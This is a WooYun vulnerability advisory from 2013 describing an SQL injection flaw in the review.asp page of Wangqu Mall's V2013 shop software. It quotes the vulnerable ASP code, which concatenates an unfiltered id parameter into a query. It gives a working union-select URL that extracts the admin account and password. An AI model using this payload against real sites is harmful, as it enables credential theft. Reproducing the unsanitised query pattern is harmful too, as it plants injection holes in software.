当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-032400

漏洞标题：网趣商城HTML静态V2013版存在SQL注入漏洞

相关厂商：网趣商城

漏洞作者： Huc-Unis

提交时间：2013-07-26 14:37

修复时间：2013-10-24 14:37

公开时间：2013-10-24 14:37

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-26： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-10-24： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

网趣HTML静态 V2013版 某页面依旧存在注入可爆管理员帐号密码！

详细说明：

哥实在等不及了啊，原先以路人甲提交的该漏洞 http://www.wooyun.org/bugs/wooyun-2010-031347/trace/baf4da61c8d7d17a95fee76f7bccca3c 一个星期未审核所以再次提交，求审核！

漏洞证明：

review.asp页面未对参数过滤，并且未能像v13版的一样验证权限，导致可直接被注入。

<%dim bookid,action //定义变量
pinglunid=request.QueryString("id") //接收变量并赋值
action=request.QueryString("action") //接收变量并赋值
if action="save" then  //如果变量action=save就执行下面的SQL语句
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from review where pinglunid="&pinglunid,conn,1,3 //执行SQL
rs("huifu")=HTMLEncode2(trim(request("huifu")))
rs("huifudate")=now()
rs.update
rs.close
set rs=nothing
response.write "<script language=javascript>alert('您的回复已成功提交！！');history.go(-1);</script>"
response.End
end if
%>


02.jpg


EXP：

http://127.0.0.1/2013/admin/review.asp?id=1%20union%20select%201,2,3,4,5,admin,7,8,9,password,11%20%20from%20admin


修复方案：

你懂得！

版权声明：转载请注明来源 Huc-Unis@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝